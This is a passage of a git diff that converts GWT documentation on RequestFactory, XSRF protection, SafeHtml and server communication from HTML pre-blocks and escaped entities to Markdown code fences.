   void setUserName(String userName);
 }
-</pre>
+```
 
 Entity proxies simply extend the EntityProxy interface and use the @ProxyFor
 or @ProxyForName annotation to reference the server-side entity being
@@ -166,7 +166,7 @@
 
 A value proxy can be used to represent any type. Unlike an EntityProxy, a ValueProxy is not required to expose an ID and version. ValueProxy  is often used to represent  embedded object types within entities. For example, a Person entity in a contact management application might represent Address as an embedded type so it will be persisted as a serialized object within the person entity.
 
-<pre class="prettyprint">
+```
 @Entity
 public class Person {
   @Id
@@ -177,11 +177,11 @@
   private Address address;
   ...
 }
-</pre>
+```
 
 The Address type is just a POJO with no persistence annotations:
 
-<pre class="prettyprint">
+```
 public class Address {
   private String street1;
   private String street2;
@@ -190,11 +190,11 @@
   private String zip;
   ...
 }
-</pre>
+```
 
 In the client, Address is represented as a ValueProxy and referenced by the containing EntityProxy:
 
-<pre class="prettyprint">
+```
 public interface AddressProxy extends ValueProxy {
   public String getStreet1();
   public String getStreet2();
@@ -212,7 +212,7 @@
   AddressProxy getAddress();
    ...
 }
-</pre>
+```
 
 ValueProxy can be used to pass any bean-like type to and from the server with RequestFactory.
 
@@ -224,7 +224,7 @@
 consists of methods that return service stubs. Here's an example from
 the Expenses sample app:
 
-<pre class="prettyprint">
+```
 public interface ExpensesRequestFactory extends RequestFactory {
 
   EmployeeRequest employeeRequest();
@@ -234,35 +234,35 @@
   ReportRequest reportRequest();
 
 }
-</pre>
+```
 
 The EmployeeRequest service stub looks like this:
 
-<pre class="prettyprint">
+```
 @Service(Employee.class)
 public interface EmployeeRequest extends RequestContext {
 
-  Request&lt;Long&gt; countEmployees();
+  Request<Long> countEmployees();
 
-  Request&lt;Long&gt; countEmployeesByDepartment(
+  Request<Long> countEmployeesByDepartment(
       String department);
 
-  Request&lt;List&lt;EmployeeProxy&gt;&gt; findAllEmployees();
+  Request<List<EmployeeProxy>> findAllEmployees();
 
-  Request&lt;EmployeeProxy&gt; findEmployee(Long id);
+  Request<EmployeeProxy> findEmployee(Long id);
 
-  Request&lt;List&lt;EmployeeProxy&gt;&gt; findEmployeeEntries(int firstResult,
+  Request<List<EmployeeProxy>> findEmployeeEntries(int firstResult,
       int maxResults);
 
-  Request&lt;List&lt;EmployeeProxy&gt;&gt; findEmployeeEntriesByDepartment(
+  Request<List<EmployeeProxy>> findEmployeeEntriesByDepartment(
       String department, int firstResult, int maxResults);
 
-  InstanceRequest&lt;EmployeeProxy, Void&gt; persist();
+  InstanceRequest<EmployeeProxy, Void> persist();
 
-  InstanceRequest&lt;EmployeeProxy, Void&gt; remove();
+  InstanceRequest<EmployeeProxy, Void> remove();
 
 }
-</pre>
+```
 
 The RequestFactory service stubs must extend RequestContext and
 use the @Service or @ServiceName annotation to name the associated service
@@ -272,15 +272,15 @@
 the interface to be invoked asynchronously with Request.fire() similar
 to passing an AsyncCallback object to each service method in GWT-RPC.
 
-<pre class="prettyprint">
+```
 requestFactory.employeeRequest().findEmployee(employeeId).fire(
-    new Receiver&lt;EmployeeProxy&gt;() {
+    new Receiver<EmployeeProxy>() {
       @Override
       public void onSuccess(EmployeeProxy employee) {
       ...
       }
     });
-</pre>
+```
 
 Just like GWT-RPC callers pass an AsyncCallback that implements
 onSuccess() and onFailure(), Request.fire() takes a Receiver which must
@@ -297,12 +297,13 @@
 from each method is parameterized with the return type of the service
 method. The type parameter becomes the type expected by the Receiver's
 onSuccess() method as in the example above. Methods that have no return
-value should return type Request&lt;Void&gt;. Requests can be parameterized with the following types:
+value should return type `Request<Void>` Requests can be parameterized with the following types:
 
 *   Built-in value types: BigDecimal, BigInteger, Boolean, Byte, Enum, Character, Date, Double, Float, Integer, Long, Short, String, Void
 *   Custom value types: any subclass of ValueProxy
 *   Entity types: any subclass of EntityProxy
-*   Collections: List&lt;T&gt; or Set&lt;T&gt;, where T is one of the above value or entity types, or Map&lt;K,V&gt; where K and V are one of the above value or entity types
+*   Collections: `List<T>`or `Set<T>` where T is one of the above value or entity types, or
+`Map<K,V>`where K and V are one of the above value or entity types
 
 Instance methods that operate on an entity itself, like persist() and
 remove(), return objects of type InstanceRequest rather than Request. This is
@@ -341,11 +342,11 @@
     <td>A `Bar` value object</td>
   </tr>
   <tr>
-    <td>`Set&lt;T&gt;</code> or <code>List&lt;T&gt;</code> where <code>T` is a transportable type</td>
-    <td>`Set&lt;T&gt;</code> or <code>List&lt;T&gt;`</td>
+    <td>`Set<T>` or `List<T>` where `T` is a transportable type</td>
+    <td>`Set<T>` or `List<T>`</td>
   <tr>
-    <td>`Map&lt;K,V&gt;</code> where <code>K</code> and <code>V` are transportable types</td>
-    <td>`Map&lt;K,V&gt;`</td>
+    <td>`Map<K,V>` where `K` and `V` are transportable types</td>
+    <td>`Map<K,V>`</td>
 </table>
 
 In determining whether or not a client-side method defined in a proxy or
@@ -385,8 +386,10 @@
 each method is the same on client and server, with the following mapping
 rules:
 
-*   Client side methods that return Request&lt;T&gt; return only T on the server. For example, a method that returns Request&lt;String&gt; in the client interface simply returns String on the server.
-*   EntityProxy types become the domain entity type on the server, so a method that returns Request&lt;List&lt;EmployeeProxy&gt;&gt; will just return List&lt;Employee&gt; on the server.
+*   Client side methods that return `Reques<T>`return only T on the server. For example, a method
+that returns `Request<String>` in the client interface simply returns String on the server.
+*   EntityProxy types become the domain entity type on the server, so a method that returns
+`Request<List<EmployeeProxy>>` will just return `List<Employee>` on the server.
 *   Methods that return a Request object in the client interface are implemented as static methods in the service class. Alternatively, they may be implemented as instance methods in a service object returned by a ServiceLocator.
 *   Methods that operate on an instance of an entity, like persist() and remove(), return an InstanceRequest object in the client interface. Instance methods do not pass the instance directly, but rather via the `using()` method on the InstanceRequest. On the server, instance methods must be implemented as non-static methods in the entity type.
 
@@ -399,13 +402,13 @@
   <tr>
     <th width="8%">Method</td>
     <th width="15%">Directly in entity</td>
-    <th width="18%">Locator&lt;T,I&gt; impl</td>
+    <th width="18%">`Locator<T,I> impl`</td>
     <th width="59%">Description</td>
   </tr>
   <tr>
     <td>Constructor</td>
     <td>no-arg constructor</td>
-    <td>T create(Class&lt;? extends T&gt; clazz)</td>
+    <td>`T create(Class<? extends T> clazz)`</td>
     <td>Returns  a new entity instance</td>
   </tr>
   <tr>
@@ -418,11 +421,11 @@
   <tr>
     <td>find by ID</td>
     <td>static findEntity(id_type id)</td>
-    <td>T find(Class&lt;? extends T&gt; clazz, I id)</td>
+    <td>`T find(Class<? extends T> clazz, I id)`</td>
     <td>Returns the persisted entity for an ID. When implemented directly in the entity, this method has a special naming convention. On the
   client side, there is a find() method defined in the RequestFactory
   interface which service interfaces extend. On the server, the method is
-  named &quot;find&quot; plus the type's simple name, like findEmployee, and takes
+  named "find" plus the type's simple name, like findEmployee, and takes
   an argument of the entity's ID type.</td>
   </tr>
   <tr>
@@ -449,15 +452,15 @@
 Employee.findAllEmployees() in the example below. Here is more of the Employee
 entity in the Expenses sample project:
 
-<pre class="prettyprint">
+```
 // The Employee domain object
 @Entity public class Employee {
 
 // properties, getters, and setters omitted
-  public static List&lt;Employee&gt; findAllEmployees() {
+  public static List<Employee> findAllEmployees() {
     EntityManager em = entityManager();
     try {
-      List&lt;Employee&gt; list = em.createQuery(&quot;select o from Employee o&quot;).getResultList();
+      List<Employee> list = em.createQuery("select o from Employee o").getResultList();
       // force to get all the employees
       list.size();
       return list;
@@ -505,31 +508,32 @@
   ...
 
 }
-</pre>
+```
 
 ### Using Locator and ServiceLocator<a id="locators"></a>
 
-What if you don't want to implement persistence code in  an entity itself? To implement the required entity locator methods, create an entity locator class that extends Locator&lt;T,I&gt;:
+What if you don't want to implement persistence code in  an entity itself? To implement the
+required entity locator methods, create an entity locator class that extends `Locator<T,I>`
 
-<pre class="prettyprint">
-public class EmployeeLocator extends Locator&lt;Employee, Long&gt; {
+```
+public class EmployeeLocator extends Locator<Employee, Long> {
   @Override
-  public Employee create(Class&lt;? extends Employee&gt; clazz)
+  public Employee create(Class<? extends Employee> clazz)
   {
     return new Employee();
   }
     ...
 }
-</pre>
+```
 
 Then associate it with the entity in the @ProxyFor annotation:
 
-<pre class="prettyprint">
+```
 @ProxyFor(value = Employee.class, locator = EmployeeLocator.class)
   public interface EmployeeProxy extends EntityProxy {
     ...
   }
-</pre>
+```
 
 Since many persistence frameworks offer generic find/get/query methods, it's also possible to create a generic Locator class and specify it in the @ProxyFor annotation for each entity type.
 To do this, all your entities can extend a base class that provides getId() and getVersion(). Alternatively, the generic Locator can use reflection to call getId() and getVersion() when needed.
@@ -538,10 +542,10 @@
 
 To use a ServiceLocator, simply implement the ServiceLocator interface. It may be as simple as this:
 
-<pre class="prettyprint">
+```
 public class MyServiceLocator implements ServiceLocator {
   @Override
-  public Object getInstance(Class&lt;?&gt; clazz) {
+  public Object getInstance(Class<?> clazz) {
     try {
       return clazz.newInstance();
     } catch (InstantiationException e) {
@@ -551,14 +555,14 @@
     }
   }
 }
-</pre>
+```
 
 Then annotate the service interface with the name of the service and locator class:
 
-<pre class="prettyprint">
+```
 @Service(value = EmployeeDao.class, locator = MyServiceLocator.class)
 interface EmployeeRequestContext extends RequestContext
-</pre>
+```
 
 Note: RequestFactory caches ServiceLocator and service instances, so make sure both are thread-safe.
 
@@ -568,9 +572,9 @@
 
 In order to use RequestFactory, add the following line to your .gwt.xml:
 
-<pre class="prettyprint">
-&lt;inherits name='com.google.web.bindery.requestfactory.RequestFactory' /&gt;
-</pre>
+```
+<inherits name='com.google.web.bindery.requestfactory.RequestFactory' />
+```
 
 Add the following jars to your `WEB-INF/lib` directory:
 
@@ -580,34 +584,34 @@
 
 Map RequestFactoryServlet in web.xml:
 
-<pre>
-&lt;servlet&gt;
-	&lt;servlet-name&gt;requestFactoryServlet&lt;/servlet-name&gt;
-	&lt;servlet-class&gt;com.google.web.bindery.requestfactory.server.RequestFactoryServlet&lt;/servlet-class&gt;
-	&lt;init-param&gt;
-		&lt;param-name&gt;symbolMapsDirectory&lt;/param-name&gt;
-		&lt;!-- You'll need to compile with -extras and move the symbolMaps directory 
-			to this location if you want stack trace deobfuscation to work --&gt;
-		&lt;param-value&gt;WEB-INF/classes/symbolMaps/&lt;/param-value&gt;
-	&lt;/init-param&gt;
-&lt;/servlet&gt;
+```
+<servlet>
+    <servlet-name>requestFactoryServlet</servlet-name>
+    <servlet-class>com.google.web.bindery.requestfactory.server.RequestFactoryServlet</servlet-class>
+    <init-param>
+        <param-name>symbolMapsDirectory</param-name>
+        <!-- You'll need to compile with -extras and move the symbolMaps directory
+            to this location if you want stack trace deobfuscation to work -->
+        <param-value>WEB-INF/classes/symbolMaps/</param-value>
+    </init-param>
+</servlet>
 
-&lt;servlet-mapping&gt;
-	&lt;servlet-name&gt;requestFactoryServlet&lt;/servlet-name&gt;
-	&lt;url-pattern&gt;/gwtRequest&lt;/url-pattern&gt;
-&lt;/servlet-mapping&gt;
-</pre>
+<servlet-mapping>
+    <servlet-name>requestFactoryServlet</servlet-name>
+    <url-pattern>/gwtRequest</url-pattern>
+</servlet-mapping>
+```
 
 Once you've
 created your entities, EntityProxy types, and RequestFactory with its
 service interfaces, you bring it to life with GWT.create() and
 initialize it with your application's EventBus:
 
-<pre class="prettyprint">
+```
 final EventBus eventBus = new SimpleEventBus();
 requestFactory = GWT.create(ExpensesRequestFactory.class);
 requestFactory.initialize(eventBus);
-</pre>
+```
 
 ### Using RequestFactory<a id="using"></a>
 
@@ -618,14 +622,14 @@
 Using the example code above to create a new Employee object and persist
 it to the database, we would write:
 
-<pre class="prettyprint">
+```
 EmployeeRequest request = requestFactory.employeeRequest();
 EmployeeProxy newEmployee = request.create(EmployeeProxy.class);
 newEmployee.setDisplayName(...);
 newEmployee.setDepartment(...);
 ...
-Request&lt;Void&gt; createReq = request.persist().using(newEmployee);
-</pre>
+Request<Void> createReq = request.persist().using(newEmployee);
+```
 
 All client-side code should use the EmployeeProxy, not the
 Employee entity itself. This way, the domain object need not be
@@ -640,12 +644,12 @@
 consistent with the method's implementation in the Employee entity. In
 the EmployeeRequest interface, it returns type InstanceRequest, which in
 turn gets the instance on which the method will be invoked from the
-using() method as shown above. Alternatively, if using a ServiceLocator, the persist() method could be declared as Request&lt;Void&gt; persist(Employee emp), in which case  newEmployee would be passed as an argument to the persist() method in place of the using() method.
+using() method as shown above. Alternatively, if using a ServiceLocator, the persist() method could be declared as Request<Void> persist(Employee emp), in which case  newEmployee would be passed as an argument to the persist() method in place of the using() method.
 
 Now let's add the code to save the newly created employee to the server:
 
-<pre class="prettyprint">
-createReq.fire(new Receiver&lt;Void&gt;()
+```
+createReq.fire(new Receiver<Void>()
 {
   @Override
     public void onSuccess(Void arg0)
@@ -653,7 +657,7 @@
         // Update display
     }
 });
-</pre>
+```
 
 We fire the request with a Receiver, which calls us back when the request has completed.
 
@@ -662,12 +666,12 @@
 the RequestFactory's edit() method. Any EntityProxies returned from the
 getters of an editable proxy are also editable.
 
-<pre class="prettyprint">
+```
 EmployeeProxy editableEmployee = request.edit(returnedEmployee);
 editableEmployee.setDepartment(newDepartment);
 ...
-Request&lt;Void&gt; updateReq = request.persist().using(editableEmployee);
-</pre>
+Request<Void> updateReq = request.persist().using(editableEmployee);
+```
 
 The edit() method returns a new copy of the immutable object, and
 the original can be discarded. To send changes to the server, you create
@@ -682,13 +686,13 @@
 For example, this code from the 
 [DynatableRF sample app](https://gwt.googlesource.com/gwt/+/master/samples/dynatablerf) in GWT trunk creates a new Person and Address at the same time:
 
-<pre class="prettyprint">
+```
 PersonRequest context = requestFactory.personRequest();
 AddressProxy address = context.create(AddressProxy.class);
 PersonProxy person = context.create(PersonProxy.class);
 person.setAddress(address);
 context.persist().using(person).fire(...);
-</pre>
+```
 
 RequestFactory automatically sends the whole object graph in a
 single request. In this case, the implementation of Person.persist() on
@@ -702,15 +706,15 @@
 populate relations in the object graph. To do this, use the with()
 method on a request and specify the related property name as a String:
 
-<pre class="prettyprint">
-Request<Person> findReq = requestFactory.personRequest().find(personId).with(&quot;address&quot;);
-</pre>
+```
+Request<Person> findReq = requestFactory.personRequest().find(personId).with("address");
+```
 
 It is also necessary to use the with() method to retrieve any properties with types extending ValueProxy. The with() method takes multiple String arguments, so you can specify multiple property names at once. To specify nested properties, use dot notation. Putting it all together, you might have
 
-<pre class="prettyprint">
+```
 Request<Person> findReq = find(personId).with("phone","address.city","address.zip")
-</pre>
+```
 
 ### Validating Entities<a id="validation"></a>
 
@@ -727,6 +731,6 @@
 
 ## Conclusion
 
-RequestFactory is the heart of the new &quot;Bindery&quot; features in GWT
+RequestFactory is the heart of the new "Bindery" features in GWT
 2.1. In future articles, we'll look at integration with cell widgets,
 Editors, the event bus, and Activities and Places.
diff --git a/src/main/markdown/doc/latest/DevGuideSecurity.md b/src/main/markdown/doc/latest/DevGuideSecurity.md
index a288df4..0d1ba29 100644
--- a/src/main/markdown/doc/latest/DevGuideSecurity.md
+++ b/src/main/markdown/doc/latest/DevGuideSecurity.md
@@ -5,6 +5,6 @@
 Because the GWT (GWT) produces JavaScript code, that code is is also vulnerable to JavaScript attacks.
 This section helps educate GWT developers about the risks and explains how to write secure GWT applications.
 
-1.  [Security for GWT Applications](../../articles/security_for_gwt_applications.html) &ndash; Describes different types of attacks you can expect, and how to code against them
-2.  [SafeHtml](DevGuideSecuritySafeHtml.html) &ndash; Provides coding guidelines with examples showing how to protect your application from XSS vulnerabilities due to untrusted data
-3.  [GWT RPC XSRF protection](DevGuideSecurityRpcXsrf.html) &ndash; Describes how to prevent Cross-Site Request Forgery (XSRF or CSRF) vulnerabilities GWT RPCs
+1.  [Security for GWT Applications](../../articles/security_for_gwt_applications.html) -- Describes different types of attacks you can expect, and how to code against them
+2.  [SafeHtml](DevGuideSecuritySafeHtml.html) -- Provides coding guidelines with examples showing how to protect your application from XSS vulnerabilities due to untrusted data
+3.  [GWT RPC XSRF protection](DevGuideSecurityRpcXsrf.html) -- Describes how to prevent Cross-Site Request Forgery (XSRF or CSRF) vulnerabilities GWT RPCs
diff --git a/src/main/markdown/doc/latest/DevGuideSecurityRpcXsrf.md b/src/main/markdown/doc/latest/DevGuideSecurityRpcXsrf.md
index c55f7b3..275577b 100644
--- a/src/main/markdown/doc/latest/DevGuideSecurityRpcXsrf.md
+++ b/src/main/markdown/doc/latest/DevGuideSecurityRpcXsrf.md
@@ -15,7 +15,7 @@
 attacking using GWT's builtin XSRF protection introduced in GWT 2.3
 
 1.  [Overview](#Overview)
-2.  [Server-side changes</code>](#ServerSide)
+2.  [Server-side changes](#ServerSide)
 3.  [Client-side changes](#ClientSide)
 
 ## Overview<a id="Overview"></a>
@@ -39,30 +39,30 @@
 [`XsrfTokenService.getNewXsrfToken()`](/javadoc/latest/com/google/gwt/user/client/rpc/XsrfTokenService.html) server-side implementation
 configured in `web.xml`:
 
-<pre class="prettyprint">
-&lt;servlet&gt;
-  &lt;servlet-name&gt;xsrf&lt;/servlet-name&gt;
-  &lt;servlet-class&gt;
+```
+<servlet>
+  <servlet-name>xsrf</servlet-name>
+  <servlet-class>
     com.google.gwt.user.server.rpc.XsrfTokenServiceServlet
-  &lt;/servlet-class&gt;
-&lt;/servlet&gt;
-&lt;servlet-mapping&gt;
-  &lt;servlet-name&gt;xsrf&lt;/servlet-name&gt;
-  &lt;url-pattern&gt;/gwt/xsrf&lt;/url-pattern&gt;
-&lt;/servlet-mapping&gt;
-</pre>
+  </servlet-class>
+</servlet>
+<servlet-mapping>
+  <servlet-name>xsrf</servlet-name>
+  <url-pattern>/gwt/xsrf</url-pattern>
+</servlet-mapping>
+```
 
 Since XSRF token is tied to an authentication session cookie, the name of that
 cookie must be passed to the `XsrfTokenServiceServlet` as well as
 all XSRF-protected RPC service servlets. This is done via context parameter in
 `web.xml`:
 
-<pre class="prettyprint">
-&lt;context-param&gt;
-  &lt;param-name&gt;gwt.xsrf.session_cookie_name&lt;/param-name&gt;
-  &lt;param-value>JSESSIONID&lt;/param-value&gt;
-&lt;/context-param&gt;
-</pre>
+```
+<context-param>
+  <param-name>gwt.xsrf.session_cookie_name</param-name>
+  <param-value>JSESSIONID</param-value>
+</context-param>
+```
 
 **Note:** Servlet initialization parameter
 (`<init-param>`) can also be used to pass the name of the
@@ -72,7 +72,7 @@
 
 All server-side implementations of RPC services must extend [`XsrfProtectedServiceServlet`](/javadoc/latest/com/google/gwt/user/server/rpc/XsrfProtectedServiceServlet.html):
 
-<pre class="prettyprint">
+```
 package com.example.foo.server;
 
 import com.google.gwt.user.server.rpc.XsrfProtectedServiceServlet; 
@@ -87,7 +87,7 @@
     return s;
   }
 }
-</pre>
+```
 
 ## Client-side changes<a id="ClientSide"></a>
 
@@ -97,20 +97,23 @@
 
 *   by extending [`XsrfProtectedService`](/javadoc/latest/com/google/gwt/user/client/rpc/XsrfProtectedService.html), in which case all methods calls will
   require `XsrfToken`:
-  <pre class="prettyprint">
-  package com.example.foo.client;
+
+```
+package com.example.foo.client;
 
   import com.google.gwt.user.client.rpc.XsrfProtectedService;
 
   public interface MyService extends XsrfProtectedService {
     public String myMethod(String s);
   }
-  </pre>
+```
+
 *   by explicitly annotating interface or methods with [`@XsrfProtect`](/javadoc/latest/com/google/gwt/user/server/rpc/XsrfProtect.html) annotation. 
 [`@NoXsrfProtect`](/javadoc/latest/com/google/gwt/user/server/rpc/NoXsrfProtect.html) annotation can be used to disable XSRF
 protection on a method or service to disable XSRF protection:
-  <pre class="prettyprint">
-  package com.example.foo.client;
+
+```
+package com.example.foo.client;
 
   import com.google.gwt.user.client.rpc.RemoteService;
   import com.google.gwt.user.server.rpc.XsrfProtect
@@ -119,8 +122,9 @@
   public interface MyService extends RemoteService {
     public String myMethod(String s);
   }
-  </pre>
-  Method level annotations override RPC interface level annoatations. If no
+```
+
+Method level annotations override RPC interface level annoatations. If no
   annotations are present and the RPC interface contains a method that returns
   [`RpcToken`](/javadoc/latest/com/google/gwt/user/client/rpc/RpcToken.html) or its implementation, then XSRF token validation is
   performed on all methods of that interface except for the method returning
@@ -134,17 +138,17 @@
 `XsrfToken` and set it on the service endpoint by casting the 
 service's asynchronous interface to [`HasRpcToken`](/javadoc/latest/com/google/gwt/user/client/rpc/HasRpcToken.html) and calling `setRpcToken()` method:
 
-<pre class="prettyprint">
+```
 XsrfTokenServiceAsync xsrf = (XsrfTokenServiceAsync)GWT.create(XsrfTokenService.class);
 ((ServiceDefTarget)xsrf).setServiceEntryPoint(GWT.getModuleBaseURL() + "xsrf");
-xsrf.getNewXsrfToken(new AsyncCallback&lt;XsrfToken&gt;() {
+xsrf.getNewXsrfToken(new AsyncCallback<XsrfToken>() {
 
   public void onSuccess(XsrfToken token) {
     MyServiceAsync rpc = (MyServiceAsync)GWT.create(MyService.class);
     ((HasRpcToken) rpc).setRpcToken(token);
 
     // make XSRF protected RPC call
-    rpc.doStuff(new AsyncCallback&lt;Void&gt;() {
+    rpc.doStuff(new AsyncCallback<Void>() {
       // ...
     });
   }
@@ -162,7 +166,7 @@
       // unexpected
     }
 });
-</pre>
+```
 
 **Tip:** If you would like to register a special handler for exceptions generated during
 `XsrfToken` validation use [`HasRpcToken.setRpcTokenExceptionHandler()`](/javadoc/latest/com/google/gwt/user/client/rpc/HasRpcToken.html#setRpcTokenExceptionHandler(com.google.gwt.user.client.rpc.RpcTokenExceptionHandler))
diff --git a/src/main/markdown/doc/latest/DevGuideSecuritySafeHtml.md b/src/main/markdown/doc/latest/DevGuideSecuritySafeHtml.md
index d2d89be..0942452 100644
--- a/src/main/markdown/doc/latest/DevGuideSecuritySafeHtml.md
+++ b/src/main/markdown/doc/latest/DevGuideSecuritySafeHtml.md
@@ -91,15 +91,15 @@
 
 For example, it is not uncommon to see GWT application code such as:
 
-<pre class="prettyprint">
+```
 HTML widget = new HTML("Some text in the widget");
-</pre>
+```
 
 or
 
-<pre class="prettyprint">
+```
 widget.setHTML(someText);
-</pre>
+```
 
 In the first example, it's obvious that the value passed to the
 `HTML` constructor cannot result in an XSS vulnerability: The value
@@ -160,10 +160,10 @@
 implement the [`HasSafeHtml`](/javadoc/latest/com/google/gwt/safehtml/client/HasSafeHtml.html) (or [`HasDirectionalSafeHtml`](/javadoc/latest/com/google/gwt/user/client/ui/HasDirectionalSafeHtml.html), respectively)
 interface.  These interfaces define:
 
-<pre class="prettyprint">
+```
 public void setHTML(SafeHtml html);
 public void setHTML(SafeHtml html, Direction dir);
-</pre>
+```
 
 as safe alternatives to `setHTML(String)` and
 `setHTML(String, Direction)`.
@@ -171,7 +171,7 @@
 For example, the [`HTML`](/javadoc/latest/com/google/gwt/user/client/ui/HTML.html) widget has been
 augmented with the following constructors and methods:
 
-<pre class="prettyprint">
+```
 public class HTML extends Label 
     implements HasDirectionalHtml, HasDirectionalSafeHtml {
   // ...
@@ -182,7 +182,7 @@
   @Override
   public void setHTML(SafeHtml html, Direction dir);
 }
-</pre>
+```
 
 A central aspect of these coding guidelines is that developers of GWT
 applications should not use constructors and methods with
@@ -226,15 +226,15 @@
 
 Consider this usage example:
 
-<pre class="prettyprint">
-public void showItems(List&lt;String&gt; items) {
+```
+public void showItems(List<String> items) {
   SafeHtmlBuilder builder = new SafeHtmlBuilder();
   for (String item : items) {
-    builder.appendEscaped(item).appendHtmlConstant("&lt;br/&gt;");
+    builder.appendEscaped(item).appendHtmlConstant("<br/>");
   }
   itemsListHtml.setHTML(builder.toSafeHtml());
 }
-</pre>
+```
 
 `SafeHtmlBuilder`'s `appendHtmlConstant` method is used to
 append a constant snippet of HTML to the builder, without escaping the argument.
@@ -252,9 +252,9 @@
 tag; the string ends in the context of the value of the `href`
 attribute of that tag:
 
-<pre class="prettyprint">
-builder.appendHtmlConstant("&lt;a href='").appendEscaped(url).appendHtmlConstant("'&gt;")
-</pre>
+```
+builder.appendHtmlConstant("<a href='").appendEscaped(url).appendHtmlConstant("'>")
+```
 
 The first rule is necessary to ensure that strings passed to
 `appendHtmlConstant` cannot possibly be under the control of an
@@ -282,11 +282,11 @@
 markup, the `safehtml` package provides a compile-time bound template
 mechanism which can be used as in this example:
 
-<pre class="prettyprint">
+```
 public class MyWidget ... {
 // ...
   public interface MyTemplates extends SafeHtmlTemplates {
-    @Template("&lt;span class=\"{3}\"&gt;{0}: &lt;a href=\"{1}\"&gt;{2}&lt;/a&gt;&lt;/span&gt;")
+    @Template("<span class=\"{3}\">{0}: <a href=\"{1}\">{2}</a></span>")
     SafeHtml messageWithLink(SafeHtml message, String url, String linkText,
         String style);
   }
@@ -304,7 +304,7 @@
         TEMPLATES.messageWithLink(message, url, linkText, style));
     // ...
   }
-</pre>
+```
 
 Instantiating a [`SafeHtmlTemplates`](/javadoc/latest/com/google/gwt/safehtml/client/SafeHtmlTemplates.html) interface with
 `GWT.create()` returns an instance of an implementation that is
@@ -323,9 +323,11 @@
 
 *   The template is parsed with a lenient HTML stream parser that accepts HTMLsimilar to what would typically be accepted by a web browser. The parser doesnot require that templates consist of balanced HTML tags. However, the parserand template code generator enforce the following constraints on inputtemplates: Template parameters may not appear in HTML comments,parameters may not appear in a Javascript context (e.g., inside a`<script>` tag, or in an `onclick`handler), parameters in HTML attributes can only appear in the value and must beenclosed in quotes (e.g., `<tag attribute="{0}">` would be allowed,`<tag {0} attribute={1}>` would not), and the template cannot end
 inside a tag or inside an attribute. For example, the following is not a validtemplate:
-<pre class="prettyprint">
-&lt;span&gt;&lt;{0} class="xyz" {1}="..."/&gt;&lt;/span&gt;
-</pre>
+
+```
+<span><{0} class="xyz" {1}="..."/></span>
+```
+
 *   The generated code passes actual template parameters through appropriate
 sanitizer and escaping methods depending on the HTML context that the template
 parameter appears in and the declared type of the corresponding template method
@@ -413,9 +415,10 @@
 `fromSafeConstant` contains an incomplete `<a>`
 tag; the string ends in the context of the value of the `href`
 attribute of that tag:
-<pre class="prettyprint">
-SafeHtml safeHtml = SafeHtmlUtils.fromSafeConstant("&lt;a href='");
-</pre>
+
+```
+SafeHtml safeHtml = SafeHtmlUtils.fromSafeConstant("<a href='");
+```
 
 *   **`[SafeHtmlUtils.fromTrustedString(String
     s)](/javadoc/latest/com/google/gwt/safehtml/shared/SafeHtmlUtils.html#fromTrustedString(java.lang.String))`**
@@ -448,33 +451,30 @@
 strings can be wrapped as a `SafeHtml` by passing them through
 `SimpleHtmlSanitizer`, for example:
 
-<pre class="prettyprint">
+```
 SafeHtml snippetHtml = SimpleHtmlSanitizer.sanitizeHtml(snippet);
-</pre>
+```
 
 `SimpleHtmlSanitizer` uses a simple sanitization algorithm that
 accepts the following markup:
 
-*   A white-list of basic HTML tags without attributes, including <code>&lt;b&gt;,
-&lt;em&gt;, &lt;i&gt;, &lt;h1&gt;, ..., &lt;h5&gt;, &lt;hr&gt;, &lt;ul&gt;,
-&lt;ol&gt;, &lt;li&gt;</code> and the corresponding end tags.
-*   HTML entities and entity references, such as <code>&amp;#39;, &amp;#x2F;,
-&amp;amp;, &amp;quot;</code>, etc.
+*   A white-list of basic HTML tags without attributes, including `<b>,<em>, <i>, <h1>, ..., <h5>, <hr>, <ul>,<ol>, <li>` and the corresponding end tags.
+*   HTML entities and entity references, such as `&#39;, &#x2F;,&amp;, &quot;,`etc.
 
 HTML markup in this subset will not be escaped; HTML meta-characters that are not
 part of a sub-string in the above set will be escaped.
 
 For example, the string:
 
-<pre class="prettyprint">
-foo &lt; bar &amp;amp; that is &lt;em&gt;good&lt;/em&gt;, &lt;span style="foo: bar"&gt;...
-</pre>
+```
+foo < bar &amp; that is <em>good</em>, <span style="foo: bar">...
+```
 
 will be sanitized into:
 
-<pre class="prettyprint">
-foo &amp;lt; bar &amp;amp; that is &lt;em&gt;good&lt;/em&gt;, &amp;lt;span style=&amp;quot;foo: bar&amp;quot;&amp;gt;...
-</pre>
+```
+foo &amp;lt; bar &amp;amp; that is <em>good</em>, &amp;lt;span style=&amp;quot;foo: bar&amp;quot;&amp;gt;...
+```
 
 Note that `SimpleHtmlSanitizer` does not make any guarantees that the
 resulting HTML will be well-formed, and that, for example, all remaining tags in
@@ -519,15 +519,15 @@
 should be unwrapped immediately before it is assigned to `innerHTML`,
 and no earlier:
 
-<pre class="prettyprint">
+```
 element.setInnerHTML(safeHtml.asString());
-</pre>
+```
 
 Widgets that are composed of other widgets should _not_ unwrap
 `SafeHtml` values when initializing sub-widgets, and instead
 pass the `SafeHtml` to the sub-widget. For example, write:
 
-<pre class="prettyprint">
+```
 public class MyPanel extends HorizontalPanel {
   InlineHTML messageWidget;
   SafeHtml currentMessage;
@@ -541,11 +541,11 @@
     messageWidget.setHTML(currentMessage);
   }
 }
-</pre>
+```
 
 instead of:
 
-<pre class="prettyprint">
+```
 public class MyPanel extends HorizontalPanel {
   InlineHTML messageWidget;
   String currentMessage;
@@ -560,7 +560,7 @@
     messageWidget.setHTML(currentMessage);
   }
 }
-</pre>
+```
 
 While both implementations provide a safe external interface, the second
 implementation is not as obviously free from XSS vulnerabilities as the first:
diff --git a/src/main/markdown/doc/latest/DevGuideServerCommunication.md b/src/main/markdown/doc/latest/DevGuideServerCommunication.md
index 6d41e9f..cec5c92 100644
--- a/src/main/markdown/doc/latest/DevGuideServerCommunication.md
+++ b/src/main/markdown/doc/latest/DevGuideServerCommunication.md
@@ -51,8 +51,8 @@
 reduced web server load, and a pleasantly fluid user experience.
 
 The [server-side](DevGuideServerCommunication.html#DevGuideServerSide) code that gets invoked from the client is often referred to as a _service_, so the act of making a
-remote procedure call is sometimes referred to as invoking a service. To be clear, though, the term _service_ in this context is not the same as the more general &quot;web
-service&quot; concept. In particular, GWT services are not related to the Simple Object Access Protocol (SOAP).
+remote procedure call is sometimes referred to as invoking a service. To be clear, though, the term _service_ in this context is not the same as the more general "web
+service" concept. In particular, GWT services are not related to the Simple Object Access Protocol (SOAP).
 
 ## RPC Plumbing Diagram<a id="DevGuidePlumbingDiagram"></a>
 
